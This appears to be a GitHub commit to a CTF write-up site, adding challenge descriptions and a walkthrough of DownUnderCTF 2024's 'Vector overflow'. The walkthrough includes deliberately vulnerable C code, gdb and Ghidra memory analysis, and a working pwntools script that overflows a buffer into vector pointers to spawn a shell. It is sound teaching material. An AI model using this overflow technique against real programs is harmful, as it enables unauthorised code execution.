Skip to content

Commit f745ed7

Browse files
committed
vector overflow
1 parent 49c5b12 commit f745ed7

File tree

12 files changed

+234
-11
lines changed

12 files changed

+234
-11
lines changed

mkdocs.yml

+1-1
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ nav:
1212
- Shufflebox: ./shufflebox/index.md
1313
- Number mashing: ./number_mashing/index.md
1414
- Intercepted transmissions: ./transmissions/index.md
15-
# - Vector overflow: ./vector/index.md
15+
- Vector overflow: ./vector/index.md
1616
# - Decrypt then eval: ./decrypt_eval/index.md
1717
# - Yawa: ./yawa/index.md
1818
# - DNAdecay: ./dna/index.md

solve/decrypt_eval/index.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ Category: cryptography
1313
Solved: 197
1414

1515
!!! quote "Description"
16-
16+
This server decrypts user input and evaluates it. Please use your magical malleability mastership to retrieve the flag!
1717

1818
Input files:
1919

solve/dna/index.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ Category: reverse engineering
1313
Solved: 148
1414

1515
!!! quote "Description"
16-
16+
Our flightless birds can run upto 50km/h but we want them to go faster. I've been messing with a mutigen but it seems to have corrupted. Can you help me recover this research?
1717

1818
Input files:
1919

solve/jmp_flag/index.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ Category: reverse engineering
1313
Solved: 71
1414

1515
!!! quote "Description"
16-
16+
The flag is just a hop, a skip and a jump away.
1717

1818
Input files:
1919

solve/pac_shell/index.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ Category: binary exploitation
1313
Solved: 55
1414

1515
!!! quote "Description"
16-
16+
Welcome to pac shell v0.0.1. You have arbitrary read and write, please turn this into arbitrary code execution!
1717

1818
Input files:
1919

solve/rusty/index.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ Category: reverse engineering
1313
Solved: 81
1414

1515
!!! quote "Description"
16-
16+
I've learnt all the secure coding practices. I only use memory safe languages and military grade encryption. Surely, you can't break into my vault.
1717

1818
Input files:
1919

solve/sign_in/index.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ Category: binary exploitation
1313
Solved: 95
1414

1515
!!! quote "Description"
16-
16+
Please sign in as root to get a shell.
1717

1818
Input files:
1919

solve/sssshhhh/index.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ Category: reverse engineering
1313
Solved: 81
1414

1515
!!! quote "Description"
16-
16+
Great news! We found the Kookaburras!... Bad news.. They're locked up. We've managed to get access to the central terminal and ripped a binary off of it for you to analyse. Maybe you can find a way to free our friends?
1717

1818
Input files:
1919

solve/vector/ghidra_1a.png

71.4 KB
Loading

solve/vector/ghidra_1b.png

39.8 KB
Loading

solve/vector/index.md

+225-2
Original file line numberDiff line numberDiff line change
@@ -13,12 +13,50 @@ Category: binary exploitation
1313
Solved: 239
1414

1515
!!! quote "Description"
16-
16+
Please overflow into the vector and control it!
1717

1818
Input files:
1919

20-
??? info "encoding.txt"
20+
??? info "vector_overflow.c"
21+
```c
22+
#include <cstdlib>
23+
#include <iostream>
24+
#include <string>
25+
#include <vector>
26+
27+
char buf[16];
28+
std::vector<char> v = {'X', 'X', 'X', 'X', 'X'};
29+
30+
void lose() {
31+
puts("Bye!");
32+
exit(1);
33+
}
34+
35+
void win() {
36+
system("/bin/sh");
37+
exit(0);
38+
}
39+
40+
int main() {
41+
char ductf[6] = "DUCTF";
42+
char* d = ductf;
2143

44+
std::cin >> buf;
45+
if(v.size() == 5) {
46+
for(auto &c : v) {
47+
if(c != *d++) {
48+
lose();
49+
}
50+
}
51+
52+
win();
53+
}
54+
55+
lose();
56+
}
57+
```
58+
59+
* [vector_overflow binary](https://github.com/DownUnderCTF/Challenges_2024_Public/blob/f2797a33d8f5851508f37e854afceedf85eee8a3/beginner/vector-overflow/src/vector_overflow)
2260

2361
NB:
2462

@@ -32,12 +70,197 @@ NB:
3270
Ie, first character of string `Hello World!` is `H`, fifth is `o`.
3371

3472
* Solution code was redacted for readability purposes. Due to time pressure during the competition I was using a lot of one-letter variables and questionable code structure.
73+
* I am using gdb with [pwndbg](https://github.com/pwndbg/pwndbg) plugin
3574

3675
## My struggle
3776

77+
### Analysis
78+
79+
This is one of the most straightforward challenges that is a good introduction to binary exploitation.
80+
81+
First review source code to understand what the program intends to do and where is vulnerability we can target:
82+
83+
```c title="trimmed source code with explanaition"
84+
char buf[16];
85+
std::vector<char> v = {'X', 'X', 'X', 'X', 'X'};
86+
87+
int main() {
88+
char ductf[6] = "DUCTF"; // initializes ductf to string "DUCTF"
89+
char* d = ductf;
90+
91+
std::cin >> buf; // read user input into global variable buf
92+
// compare variable ductf with global variable v,
93+
// if they are equal, execute win()
94+
// otherwise execute lose()
95+
if(v.size() == 5) {
96+
for(auto &c : v) {
97+
if(c != *d++) {
98+
lose();
99+
}
100+
}
101+
102+
win();
103+
}
104+
105+
lose();
106+
}
107+
```
108+
109+
So, in order to execute `win()` we should change variable v to be `DUCTF`, notice how global variables are next to each other?
110+
`v` is declared right after `buf`, this means that there is a good chance that in memory they also will be placed sequentially
111+
one after another.
112+
113+
We can test this theory and find locations of global variables by inspecting the binary. First, lets check its general information:
114+
```bash
115+
$ file vector_overflow
116+
vector_overflow: ELF 64-bit LSB executable,
117+
x86-64, # 64-bit executable
118+
version 1 (SYSV),
119+
dynamically linked,
120+
interpreter /lib64/ld-linux-x86-64.so.2,
121+
BuildID[sha1]=4a0b824c662ee47b5cd3e73176c0092f1fcf714b,
122+
for GNU/Linux 3.2.0,
123+
not stripped # symbols are not stripped
124+
```
125+
126+
There are two tools we can use find locations of variable:
127+
128+
1. open the binary in [ghidra](https://ghidra-sre.org/)
129+
* given symbols are not stripped, we can search them by name:
130+
![ghidra_1a.png](ghidra_1a.png)
131+
132+
On the image:
133+
134+
- 1 search for variable `buf` in symbol tree
135+
- 2 select it in the list
136+
- 3 once selected the main view show address of the variable `004051e0`
137+
- 4 ghidra also annotates variable names in the main view we can see both `buf` and `v` right after it( address `004051f0`)
138+
139+
* second option to find out address with ghidra is through assembly (this works even if binary symbols are stripped):
140+
![ghidra_1b.png](ghidra_1b.png)
141+
142+
On the image:
143+
144+
- 1 go to function `main` (ghidra usually detects it automatically, sometimes depending of source language
145+
it can be called `entry` or have a standard language wrapper)
146+
- 2 find `call` to `operator>>` on `std::cin`
147+
- 3 work up from `call` and check how registers initialised before the call, we can see RSI is initialised with address
148+
to a global variable `buf` (if there would be no symbols we would see `DATA_004051e0` instead of `buf` which doesn't change much).
149+
Similarly, we could find below in assembly access to another global variable (`v` or `DATA_004051f0`) when comparing of content happens.
150+
151+
2. Launch the binary in gdb and inspect memory
152+
* find variables by name
153+
```bash
154+
$ gdb ./vector_overflow
155+
(gdb) b main # breakpoint at main function
156+
(gdb) r # run executable till it hits breakpoint
157+
(gdb) p &buf # check address of variable buf
158+
$1 = (<data variable, no debug info> *) 0x4051e0 <buf>
159+
(gdb) p &v # check address of variable v
160+
$2 = (<data variable, no debug info> *) 0x4051f0 <v>
161+
```
162+
163+
* inspect memory
164+
```bash
165+
$ gdb ./vector_overflow
166+
(gdb) b main # breakpoint at main function
167+
(gdb) r # run executable till it hits breakpoint
168+
(gdb) # step with `ci` through the code till we will be asked to enter input
169+
myteststring # our input that saved into buffer
170+
(gdb) search myteststring # scan memory where our string was saved (requires pwndbg plugin)
171+
Searching for value: 'myteststring'
172+
vector_overflow 0x4051e0 'myteststring' # found our global variable at address 0x4051e0
173+
[heap] 0x4182d0 'myteststring\n'
174+
(gdb) x/16c 0x4051e0 # read 16 characters from address 0x4051e0 (remember type of variable buf is char[16])
175+
0x4051e0: 'm' 'y' 't' 'e' 's' 't' 's' 't' 'r' 'i' 'n' 'g' '0' '0' '0' '0'
176+
(gdb) x/2gx 0x4051f0+16 # read two giant (8byte) numbers in hex format starting after buf ends
177+
0x4051f0 <v>: 0x00000000004182b0 0x00000000004182b5 # vector in represented in memory as two consecutive pointers to start and end of content
178+
(gdb) print 0x00000000004182b5 - 0x00000000004182b0 # we can check length is 5
179+
$3 = 5
180+
(gdb) x/5c 0x00000000004182b0 # read 5 characters from the start of the vector data
181+
0x4182b0: 88 'X' 88 'X' 88 'X' 88 'X' 88 'X' # 88 is ascii value of 'X' (remember in source code we have `vector v = {'X', 'X', 'X', 'X', 'X'})
182+
```
183+
184+
### Exploit
185+
186+
So, given program reads as much data as we provide, we are not limited to 16 characters, we can overflow into `v` and change vector
187+
to `DUCTF`. To reiterate this is memory layout that we normally have (see `analysis` section above for more detailed explanation of each element):
188+
```bash
189+
(gdb) x/32bx 0x4051e0 # read 32 bytes at buf address
190+
0x4051e0 <buf>: 0x6d 0x79 0x74 0x65 0x73 0x74 0x73 0x74 # start of buf ascii of myteststring
191+
0x4051e8 <buf+8>: 0x72 0x69 0x6e 0x67 0x00 0x00 0x00 0x00
192+
0x4051f0 <v>: 0xb0 0x82 0x41 0x00 0x00 0x00 0x00 0x00 # start of variable v first 8 bytes is pointer to start of content of the vector
193+
0x4051f8 <v+8>: 0xb5 0x82 0x41 0x00 0x00 0x00 0x00 0x00 # second pointer of v points to end of content of the vector
194+
```
195+
196+
Note that pointer addresses that we saw before (0x00000000004182b0, 0x00000000004182b5) are written in little endian format (reversed of
197+
what we used to). For example value `0x0055000004000201` is stored as `0x01 0x02 0x00 0x04 0x00 0x00 0x55 0x00` in memory.
198+
199+
Our goal is to achieve following memory state:
200+
```bash
201+
(gdb) x/32bx 0x4051e0 # read 32 bytes at buf address
202+
0x4051e0 <buf>: 'D' 'U' 'C' 'T' 'F' 0x00 0x00 0x00 # start out input with DUCTF
203+
0x4051e8 <buf+8>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 # rest of the buffer is not important
204+
0x4051f0 <v>: 0xe0 0x51 0x40 0x00 0x00 0x00 0x00 0x00 # first pointer of v should point to DUCTF that we entered above
205+
0x4051f8 <v+8>: 0xe5 0x51 0x40 0x00 0x00 0x00 0x00 0x00 # second pointer of v should point to end string DUCTF
206+
```
207+
208+
If all required bytes were ascii printable it would be easy to enter them manually, but they don't so I used [pwntools](https://github.com/Gallopsled/pwntools).
209+
This is CTF framework for binary exploitation, its only "disadvantage" is it has all features you can think of, so it can be overwhelming sometimes.
210+
211+
=== "python script"
212+
```py
213+
paylod = flat(
214+
b'DUCTF\x00',
215+
'\x00' * 10,
216+
pack(0x4051e0),
217+
pack(0x4051e0 + 5)
218+
)
219+
print(hexdump(paylod))
220+
```
221+
222+
=== "output"
223+
```txt linenums="0"
224+
00000000 44 55 43 54 46 00 00 00 00 00 00 00 00 00 00 00 │DUCT│F···│····│····│
225+
00000010 e0 51 40 00 00 00 00 00 e5 51 40 00 00 00 00 00 │·Q@·│····│·Q@·│····│
226+
```
227+
228+
Full script to launch binary (or connect to CTF server if REMOTE param provided) and send the payload:
229+
230+
??? success "solve.py"
231+
```py
232+
from pwn import *
233+
234+
# initialize library to work with binary
235+
context.binary = elfexe = ELF('./vector_overflow')
236+
libc = elfexe.libc
237+
238+
context.log_level = 'warn'
239+
240+
arguments = []
241+
if args['REMOTE']: # if REMOTE argument provided, connect to the challenge server, otherwise launch binary locally
242+
remote_server = '2024.ductf.dev'
243+
remote_port = 30013
244+
io = remote(remote_server, remote_port)
245+
else:
246+
io = start(arguments)
247+
248+
paylod = flat( # build payload
249+
b'DUCTF\x00',
250+
'\x00' * 10,
251+
pack(0x4051e0),
252+
pack(0x4051e0 + 5)
253+
)
254+
io.sendline(paylod) # send to server/binary
255+
256+
io.interactive() # switch to interactive mode when you got the shell, you can now use `ls`, `cat flag.txt`
257+
io.close()
258+
```
38259

39260

40261
## Epilogue
41262

42263
* Official website: [https://downunderctf.com/](https://downunderctf.com/)
43264
* Official writeups: https://github.com/DownUnderCTF/Challenges_2024_Public
265+
266+
*[RSI]: general purpose register on x86_64 architecture

solve/yawa/index.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ Category: binary exploitation
1313
Solved: 184
1414

1515
!!! quote "Description"
16-
16+
Yet another welcome application.
1717

1818
Input files:
1919

0 commit comments

Comments
 (0)